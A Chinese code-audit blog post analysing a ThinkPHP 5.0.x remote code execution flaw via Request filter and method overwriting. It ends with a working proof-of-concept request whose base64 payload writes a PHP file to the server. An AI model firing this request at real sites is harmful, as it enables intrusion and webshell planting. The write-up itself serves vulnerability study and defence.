[代码审计]ThinkPHP5.0.0-5.0.18RCE另类利用姿势

2024-01-19 14:58

本文主要是介绍[代码审计]ThinkPHP5.0.0-5.0.18RCE另类利用姿势,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

网上看到的POC,我详细分析了路由和poc,是对一个姿势的利用,比较骚的是::可以调用非静态方法以及set_error_handler的使用

Trick

比较骚的是我们一直以为php当中::只能调用静态方法,但是非静态一定条件下也能成功调用

成功输出123虽然有报错

<?php
class A{public $a;public function y4tacker(){echo 123;}
}A::y4tacker();

失败

<?php
class A{public $a;public function y4tacker(){$this->a = '123';echo 123;}
}A::y4tacker();

分析

首先利用点是利用thinkphp/library/think/Request.php中的$value = call_user_func($filter, $value);来执行任意函数之后我们可以利用thinkphp/library/think/view/driver/Php.php当中的eval('?>' . $content);实现任意命令执行从而实现Shell的写入

再往上看,我们需要找到调用了filterValue方法的地方,在thinkphp/library/think/Request.php当中有

if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);reset($data);} else {$this->filterValue($data, $name, $filter);}

并且这个filter参数是由$filter = $this->getFilter($filter, $default);获取而来,我们跟踪这个函数

protected function getFilter($filter, $default){if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;}

我们可以利用控制filter参数为空返回$this->filter,并且这个参数可控,之前的文章就分析过了,这里再简单提一下吧,在Request.php当中的method方法当中,可以控制$this->method__construct实现变量覆盖

$this->{$this->method}($_POST);

因此我们回到正题,首先get传入的s=captcha&g=implode是为了设置dispatch为method,我们稍微跟一下这个过程的关键步骤

首先调用self::routeCheck($request, $config);

之后进入$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

在这里插入图片描述

关键是这里,我们跟进

在这里插入图片描述

这里返回_construct

在这里插入图片描述

在这里对Request类初始化覆盖赋值

在这里插入图片描述

最终返回$this->method也就是GET,至于为什么非得传他,因为我们需要进入这个方法,所以必须得有路由参数

在这里插入图片描述

由于我们需要获取这个captcha路由规则

在这里插入图片描述

可以看到这里得到路由route这很重要

在这里插入图片描述

我们接着往下跟踪到checkRule

在这里插入图片描述

由于route路由为\think\captcha\CaptchaController@index很明显因此返回method

在这里插入图片描述

当然我们不一定使用captcha,其他路由也行,但是captcha在这里是万能的QAQ,毕竟每个TP5都自带了,我们继续返回APP.php,跟进

在这里插入图片描述

此时参数为

在这里插入图片描述

我们继续跟进Request的param

在这里插入图片描述

这里参数合并

在这里插入图片描述

我们继续跟进

在这里插入图片描述

进入Request的input方法也就回到了我们上面说的利用array_walk_recursive执行任意类方法了,

在这里插入图片描述

他对 d a t a 中 每 一 个 参 数 迭 代 运 行 data中每一个参数迭代运行 datafileter当中的方法

在这里插入图片描述

这里面还有一个比较巧妙的地方是set_error_handler的使用, tp5 默认就调用了 error_reporting(E_ALL) ,且有一套内置的错误处理机制。上面预期解也提到了即使报了 warning 程序也会中止执行。set_error_handler() 函数设置用户自定义的错误处理程序,会绕过标准 PHP 错误处理程序。其他的还有set_exception_handler() 函数设置用户自定义的异常处理函数。register_shutdown_function() 函数会注册一个会在PHP中止时执行的函数

POC

URL地址
url/public/?s=captcha&g=implode
POST数据
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3k0dGFja2VyLnBocCcsJzw/cGhwIHBocGluZm8oKTs/PicpOyA/Pg==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET

成功写入phpinfo,利用成功

在这里插入图片描述

这篇关于[代码审计]ThinkPHP5.0.0-5.0.18RCE另类利用姿势的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/622788

相关文章

Java计算经纬度距离的示例代码

《Java计算经纬度距离的示例代码》在Java中计算两个经纬度之间的距离,可以使用多种方法(代码示例均返回米为单位),文中整理了常用的5种方法,感兴趣的小伙伴可以了解一下... 目录1. Haversine公式(中等精度,推荐通用场景)2. 球面余弦定理(简单但精度较低)3. Vincenty公式(高精度,

QT6中绘制UI的两种方法详解与示例代码

《QT6中绘制UI的两种方法详解与示例代码》Qt6提供了两种主要的UI绘制技术:​​QML(QtMeta-ObjectLanguage)​​和​​C++Widgets​​,这两种技术各有优势,适用于不... 目录一、QML 技术详解1.1 QML 简介1.2 QML 的核心概念1.3 QML 示例:简单按钮

Java进行日期解析与格式化的实现代码

《Java进行日期解析与格式化的实现代码》使用Java搭配ApacheCommonsLang3和Natty库,可以实现灵活高效的日期解析与格式化,本文将通过相关示例为大家讲讲具体的实践操作,需要的可以... 目录一、背景二、依赖介绍1. Apache Commons Lang32. Natty三、核心实现代

使用Python自动化生成PPT并结合LLM生成内容的代码解析

《使用Python自动化生成PPT并结合LLM生成内容的代码解析》PowerPoint是常用的文档工具,但手动设计和排版耗时耗力,本文将展示如何通过Python自动化提取PPT样式并生成新PPT,同时... 目录核心代码解析1. 提取 PPT 样式到 jsON关键步骤:代码片段:2. 应用 JSON 样式到

SpringBoot实现二维码生成的详细步骤与完整代码

《SpringBoot实现二维码生成的详细步骤与完整代码》如今,二维码的应用场景非常广泛,从支付到信息分享,二维码都扮演着重要角色,SpringBoot是一个非常流行的Java基于Spring框架的微... 目录一、环境搭建二、创建 Spring Boot 项目三、引入二维码生成依赖四、编写二维码生成代码五

使用Python和PaddleOCR实现图文识别的代码和步骤

《使用Python和PaddleOCR实现图文识别的代码和步骤》在当今数字化时代,图文识别技术的应用越来越广泛,如文档数字化、信息提取等,PaddleOCR是百度开源的一款强大的OCR工具包,它集成了... 目录一、引言二、环境准备2.1 安装 python2.2 安装 PaddlePaddle2.3 安装

SpringBoot中四种AOP实战应用场景及代码实现

《SpringBoot中四种AOP实战应用场景及代码实现》面向切面编程(AOP)是Spring框架的核心功能之一,它通过预编译和运行期动态代理实现程序功能的统一维护,在SpringBoot应用中,AO... 目录引言场景一:日志记录与性能监控业务需求实现方案使用示例扩展:MDC实现请求跟踪场景二:权限控制与

利用Python调试串口的示例代码

《利用Python调试串口的示例代码》在嵌入式开发、物联网设备调试过程中,串口通信是最基础的调试手段本文将带你用Python+ttkbootstrap打造一款高颜值、多功能的串口调试助手,需要的可以了... 目录概述:为什么需要专业的串口调试工具项目架构设计1.1 技术栈选型1.2 关键类说明1.3 线程模

Python Transformers库(NLP处理库)案例代码讲解

《PythonTransformers库(NLP处理库)案例代码讲解》本文介绍transformers库的全面讲解,包含基础知识、高级用法、案例代码及学习路径,内容经过组织,适合不同阶段的学习者,对... 目录一、基础知识1. Transformers 库简介2. 安装与环境配置3. 快速上手示例二、核心模

Java的栈与队列实现代码解析

《Java的栈与队列实现代码解析》栈是常见的线性数据结构,栈的特点是以先进后出的形式,后进先出,先进后出,分为栈底和栈顶,栈应用于内存的分配,表达式求值,存储临时的数据和方法的调用等,本文给大家介绍J... 目录栈的概念(Stack)栈的实现代码队列(Queue)模拟实现队列(双链表实现)循环队列(循环数组